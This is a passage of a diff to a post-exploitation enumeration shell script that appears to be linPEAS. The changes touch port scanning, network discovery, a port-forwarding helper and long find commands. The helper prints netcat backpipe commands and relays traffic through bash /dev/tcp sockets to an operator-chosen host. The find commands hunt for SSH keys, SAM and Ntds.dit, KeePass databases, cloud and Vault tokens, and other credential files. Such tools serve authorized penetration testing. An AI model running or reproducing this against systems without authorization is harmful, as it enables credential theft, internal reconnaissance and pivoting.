8654 8701 8800 8873 8888 8899 8994 9000 9001 9002 9003 9009 9010 9011 9040 9050 9071 9080 9081 9090 9091 9099 9100 9101 9102 9103 9110 9111 9200 9207 9220 9290 9415 9418 9485 9500 9502 9503 9535 9575 9593 9594 9595 9618 9666 9876 9877 9878 9898 9900 9917 9929 9943 9944 9968 9998 9999 10000 10001 10002 10003 10004 10009 10010 10012 10024 10025 10082 10180 10215 10243 10566 10616 10617 10621 10626 10628 10629 10778 11110 11111 11967 12000 12174 12265 12345 13456 13722 13782 13783 14000 14238 14441 14442 15000 15002 15003 15004 15660 15742 16000 16001 16012 16016 16018 16080 16113 16992 16993 17877 17988 18040 18101 18988 19101 19283 19315 19350 19780 19801 19842 20000 20005 20031 20221 20222 20828 21571 22939 23502 24444 24800 25734 25735 26214 27000 27352 27353 27355 27356 27715 28201 30000 30718 30951 31038 31337 32768 32769 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779 32780 32781 32782 32783 32784 32785 33354 33899 34571 34572 34573 35500 38292 40193 40911 41511 42510 44176 44442 44443 44501 45100 48080 49152 49153 49154 49155 49156 49157 49158 49159 49160 49161 49163 49165 49167 49175 49176 49400 49999 50000 50001 50002 50003 50006 50300 50389 50500 50636 50800 51103 51493 52673 52822 52848 52869 54045 54328 55055 55056 55555 55600 56737 56738 57294 57797 58080 60020 60443 61532 61900 62078 63331 64623 64680 65000 65129 65389" else PORTS="$(echo $PORTS | tr ',' ' ')" printf ${YELLOW}"[+]${BLUE} Ports going to be scanned: $PORTS" $NC | tr '\n' " " @@ -866,7 +874,7 @@ tcp_port_scan (){ for port in $PORTS; do if [ "$FOUND_BASH" ]; then - $FOUND_BASH -c "(echo /dev/null && echo -e \"\n[+] Open port at: $IP:$port\"" & + $FOUND_BASH -c "(echo /dev/null && echo -n \"[+] Open port at: $IP:$port\"" & elif [ "$NC_SCAN" ]; then ($NC_SCAN "$IP" "$port" 2>&1 | grep -iv "Connection refused\|No route\|Version\|bytes\| out" | sed -${E} "s,[0-9\.],${SED_RED},g") & fi @@ -875,7 +883,7 @@ tcp_port_scan (){ } discover_network (){ - #Check if IP and Netmask are correct and the use fping or ping to find hosts + # Check if IP and Netmask are correct and the use fping or ping to find hosts basic_net_info print_title "Network Discovery" @@ -890,11 +898,11 @@ discover_network (){ exit 0 fi - #Using fping if possible + # Using fping if possible if [ "$FPING" ]; then $FPING -a -q -g "$DISCOVERY" | sed -${E} "s,.*,${SED_RED}," - #Loop using ping + # Loop using ping else if [ "$NETMASK" -eq "24" ]; then printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n$NC" @@ -917,7 +925,7 @@ discover_network (){ discovery_port_scan (){ basic_net_info - #Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 + # Check if IP and Netmask are correct and the use nc to find hosts. By default check ports: 22 80 443 445 3389 print_title "Internal Network Discovery - Finding hosts and scanning ports" DISCOVERY=$1 MYPORTS=$2 @@ -936,7 +944,7 @@ discovery_port_scan (){ fi PORTS="22 80 443 445 3389 $(echo $MYPORTS | tr ',' ' ')" - PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) #Delete repetitions + PORTS=$(echo "$PORTS" | tr " " "\n" | sort -u) # Delete repetitions if [ "$NETMASK" -eq "24" ]; then printf ${YELLOW}"[+]$GREEN Netmask /24 detected, starting...\n" $NC @@ -962,15 +970,14 @@ port_forward (){ REMOTE_IP=$3 REMOTE_PORT=$4 - echo "In your local machine execute:" + echo "In your machine execute:" echo "cd /tmp; rm backpipe; mknod backpipe p;" echo "nc -lvnp $LOCAL_PORT 0backpipe" echo "" - echo "Press any key when you have executed the commands" - read -n 1 + read -p "Press any key when you have executed those commands" useless_var bash -c "exec 3<>/dev/tcp/$REMOTE_IP/$REMOTE_PORT; exec 4<>/dev/tcp/$LOCAL_IP/9009; cat <&3 >&4 & cat <&4 >&3 &" - echo "If not error was indicated, your local port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" + echo "If not error was indicated, your host port $LOCAL_PORT should be forwarded to $REMOTE_IP:$REMOTE_PORT" } @@ -1031,7 +1038,7 @@ if [ "$PORTS" ]; then printf ${BLUE}"$HELP"$NC; exit 0 else - #Select the correct configuration of the netcat found + # Select the correct configuration of the netcat found select_nc fi else @@ -1075,12 +1082,12 @@ if [ "$PORT_FORWARD" ]; then exit 0 fi - #Check if LOCAL_PORT is a number + # Check if LOCAL_PORT is a number if ! [ "$(echo $LOCAL_PORT | grep -E '^[0-9]+$')" ]; then printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; fi - #Check if REMOTE_PORT is a number + # Check if REMOTE_PORT is a number if ! [ "$(echo $REMOTE_PORT | grep -E '^[0-9]+$')" ]; then printf $RED"[-] Err: Invalid port forwarding configuration: $PORT_FORWARD. The format is: LOCAL_IP:LOCAL_PORT:REMOTE_IP:REMOTE_PORT\nFor example: 10.10.14.8:7777:127.0.0.1:8000"$NC; fi @@ -1090,7 +1097,7 @@ if [ "$PORT_FORWARD" ]; then fi -#Get HOMESEARCH +# Get HOMESEARCH if [ "$SEARCH_IN_FOLDER" ]; then HOMESEARCH="${ROOT_FOLDER}home/ ${ROOT_FOLDER}Users/ ${ROOT_FOLDER}root/ ${ROOT_FOLDER}var/www/" else @@ -1112,8 +1119,8 @@ if [ "$SEARCH_IN_FOLDER" ]; then CONT_THREADS=0 # FIND ALL KNOWN INTERESTING SOFTWARE FILES - FIND_DIR_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"bind\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"kubelet\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"system.d\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \"kubernetes\" -o -name \".bluemix\" -o -name \"kube-proxy\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"pam.d\" -o -name \"system-connections\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -name \"*.ftpconfig\" -o -name \"access.log\" -o -name \"passwd.ibd\" -o -name \"winscp.ini\" -o -name \"gvm-tools.conf\" -o -name \"ws_ftp.ini\" -o -name \"my.cnf\" -o -name \"hostapd.conf\" -o -name \"appcmd.exe\" -o -name \"password*.ibd\" -o -name \"id_rsa*\" -o -name \"ipsec.conf\" -o -name \"*vnc*.ini\" -o -name \"*.cer\" -o -name \"security.sav\" -o -name \"AppEvent.Evt\" -o -name \".secrets.mkey\" -o -name \"frakti.sock\" -o -name \"zabbix_server.conf\" -o -name \".vault-token\" -o -name \"gitlab.yml\" -o -name \"authorized_keys\" -o -name \"credentials.db\" -o -name \"cesi.conf\" -o -name \"000-default.conf\" -o -name \"ipsec.secrets\" -o -name \"bash.exe\" -o -name \"agent*\" -o -name \".github\" -o -name \"KeePass.ini\" -o -name \"pagefile.sys\" -o -name \"db.php\" -o -name \"scclient.exe\" -o -name \"glusterfs.pem\" -o -name \"httpd.conf\" -o -name \"docker-compose.yml\" -o -name \"docker.sock\" -o -name \"postgresql.conf\" -o -name \"*.der\" -o -name \"pgadmin*.db\" -o -name \"dockershim.sock\" -o -name \"*.swp\" -o -name \"wp-config.php\" -o -name \"system.sav\" -o -name \"recentservers.xml\" -o -name \"error.log\" -o -name \"influxdb.conf\" -o -name \".plan\" -o -name \"rktlet.sock\" -o -name \".ldaprc\" -o -name \"unattend.xml\" -o -name \"autologin.conf\" -o -name \"*.timer\" -o -name \"*.keyring\" -o -name \"sitemanager.xml\" -o -name \"database.php\" -o -name \"FreeSSHDservice.ini\" -o -name \"*.kdbx\" -o -name \"ntuser.dat\" -o -name \"https.conf\" -o -name \"*password*\" -o -name \"SecEvent.Evt\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"sysprep.xml\" -o -name \"sites.ini\" -o -name \".sudo_as_admin_successful\" -o -name \"vault-ssh-helper.hcl\" -o -name \"id_dsa*\" -o -name \"*.crt\" -o -name \"scheduledtasks.xml\" -o -name \"*.gnupg\" -o -name \"php.ini\" -o -name \"TokenCache.dat\" -o -name \"fastcgi_params\" -o -name \"KeePass.enforced*\" -o -name \"*.db\" -o -name \"config.php\" -o -name \"*.keytab\" -o -name \"creds*\" -o -name \".htpasswd\" -o -name \"secrets.yml\" -o -name \"server.xml\" -o -name \".wgetrc\" -o -name \"ffftp.ini\" -o -name \".rhosts\" -o -name \"redis.conf\" -o -name \"sssd.conf\" -o -name \"*config*.php\" -o -name \".gitconfig\" -o -name \".profile\" -o -name \"*.csr\" -o -name \"ftp.ini\" -o -name \"unattend.txt\" -o -name \"nginx.conf\" -o -name \"access_tokens.json\" -o -name \".google_authenticator\" -o -name \"*knockd*\" -o -name \"glusterfs.ca\" -o -name \"datasources.xml\" -o -name \"*.pem\" -o -name \"*vnc*.c*nf*\" -o -name \"kibana.y*ml\" -o -name \"azureProfile.json\" -o -name \"unattend.inf\" -o -name \"*.psk\" -o -name \"drives.xml\" -o -name \"access_tokens.db\" -o -name \"software\" -o -name \"passwd\" -o -name \"storage.php\" -o -name \"*.key\" -o -name \"ConsoleHost_history.txt\" -o -name \"Ntds.dit\" -o -name \"backups\" -o -name \"elasticsearch.y*ml\" -o -name \"rsyncd.secrets\" -o -name \"SYSTEM\" -o -name \"anaconda-ks.cfg\" -o -name \"gitlab.rm\" -o -name \"Dockerfile\" -o -name \"log4j-core*.jar\" -o -name \"hosts.equiv\" -o -name \"printers.xml\" -o -name \"*.rdg\" -o -name \"*.pgp\" -o -name \".lesshst\" -o -name \".git-credentials\" -o -name \"wcx_ftp.ini\" -o -name \"exports\" -o -name \"crio.sock\" -o -name \"ddclient.conf\" -o -name \"*.socket\" -o -name \"pgsql.conf\" -o -name \"setupinfo.bak\" -o -name \"snmpd.conf\" -o -name \"accessTokens.json\" -o -name \"*credential*\" -o -name \"authorized_hosts\" -o -name \"kadm5.acl\" -o -name \"unattended.xml\" -o -name \"default.sav\" -o -name \"*.keystore\" -o -name \"SAM\" -o -name \"racoon.conf\" -o -name \"setupinfo\" -o -name \".recently-used.xbel\" -o -name \"KeePass.config*\" -o -name \"NetSetup.log\" -o -name \"*.viminfo\" -o -name \"supervisord.conf\" -o -name \"debian.cnf\" -o -name \"secrets.ldb\" -o -name \"filezilla.xml\" -o -name \"kcpassword\" -o -name \"groups.xml\" -o -name \"jetty-realm.properties\" -o -name \"*_history*\" -o -name \"backup\" -o -name \"*.service\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \"ssh*config\" -o -name \"*.sqlite\" -o -name \"glusterfs.key\" -o -name \"https-xampp.conf\" -o -name \"mariadb.cnf\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"protecteduserkey.bin\" -o -name \"web*.config\" -o -name \"*.ovpn\" -o -name \"software.sav\" -o -name \"*vnc*.txt\" -o -name \"settings.php\" -o -name \"legacy_credentials.db\" -o -name \"AzureRMContext.json\" -o -name \"containerd.sock\" -o -name \"*.sqlite3\" -o -name \"rsyncd.conf\" -o -name \"psk.txt\" -o -name \"RDCMan.settings\" -o -name \"my.ini\" -o -name \"sysprep.inf\" -o -name \".git\" -o -name \"*.jks\" -o -name \"zabbix_agentd.conf\" -o -name \"mongod*.conf\" -o -name \"tomcat-users.xml\" -o -name \"rocketchat.service\" -o -name \"pg_hba.conf\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"iis6.log\" -o -name \"cloud.cfg\" -o -name \"ftp.config\" -o -name \".erlang.cookie\" -o -name \".msmtprc\" -o -name \"*.gpg\" -o -name \"sess_*\" -o -name \".bashrc\" -o -name \"*.pfx\" -o -name \".pypirc\" -o -name \".env\" -o -name \"mosquitto.conf\" -o -name \"*vnc*.xml\" -o -name \"docker.socket\" -o -name \"autologin\" -o -name \"sentry.conf.py\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_DIR_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -type d -name \".vnc\" -o -name \".cloudflared\" -o -name \"doctl\" -o -name \"sentry\" -o -name \"system-connections\" -o -name \"dirsrv\" -o -name \"*jenkins\" -o -name \"nginx\" -o -name \"pam.d\" -o -name \"environments\" -o -name \"couchdb\" -o -name \"cacti\" -o -name \"logstash\" -o -name \"ldap\" -o -name \"kube-proxy\" -o -name \"neo4j\" -o -name \"kubernetes\" -o -name \"roundcube\" -o -name \"ipa\" -o -name \".password-store\" -o -name \"legacy_credentials\" -o -name \"filezilla\" -o -name \".kube*\" -o -name \"bind\" -o -name \"ErrorRecords\" -o -name \"keyrings\" -o -name \"kubelet\" -o -name \".svn\" -o -name \".docker\" -o -name \"gcloud\" -o -name \"system.d\" -o -name \"concourse-keys\" -o -name \".bluemix\" -o -name \"mysql\" -o -name \"concourse-auth\" -o -name \"sites-enabled\" -o -name \"seeddms*\" -o -name \".irssi\" -o -name \"zabbix\" -o -name \"varnish\" -o -name \"postfix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CUSTOM=`eval_bckgrd "find $SEARCH_IN_FOLDER -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"log4j-core*.jar\" -o -name \"racoon.conf\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \"sess_*\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*knockd*\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"ssh*config\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"exports\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"agent*\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` wait # Always wait at the end @@ -1125,161 +1132,183 @@ elif echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | g CONT_THREADS=0 # FIND ALL KNOWN INTERESTING SOFTWARE FILES - FIND_DIR_APPLICATIONS=`eval_bckgrd "find /applications -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_BIN=`eval_bckgrd "find /bin -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_CACHE=`eval_bckgrd "find /.cache -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_CDROM=`eval_bckgrd "find /cdrom -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_ETC=`eval_bckgrd "find /etc -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"bind\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"system.d\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"kubernetes\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"pam.d\" -o -name \"system-connections\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_MEDIA=`eval_bckgrd "find /media -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_MNT=`eval_bckgrd "find /mnt -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_OPT=`eval_bckgrd "find /opt -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_PRIVATE=`eval_bckgrd "find /private -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SBIN=`eval_bckgrd "find /sbin -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SNAP=`eval_bckgrd "find /snap -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_SRV=`eval_bckgrd "find /srv -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name \"neo4j\" -o -name \"logstash\" -o -name \"couchdb\" -o -name \"ldap\" -o -name \"roundcube\" -o -name \"nginx\" -o -name \".cloudflared\" -o -name \"keyrings\" -o -name \".bluemix\" -o -name \".kube*\" -o -name \".irssi\" -o -name \".vnc\" -o -name \"filezilla\" -o -name \"mysql\" -o -name \".password-store\" -o -name \"zabbix\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_DIR_TMP=`eval_bckgrd "find /tmp -type d -name \"seeddms*\" -o -name \".svn\" -o -name \"sentry\" -o -name \"cacti\" -o -name \"sites-enabled\" -o -name \"environments\" -o -name \"postfix\" -o -name 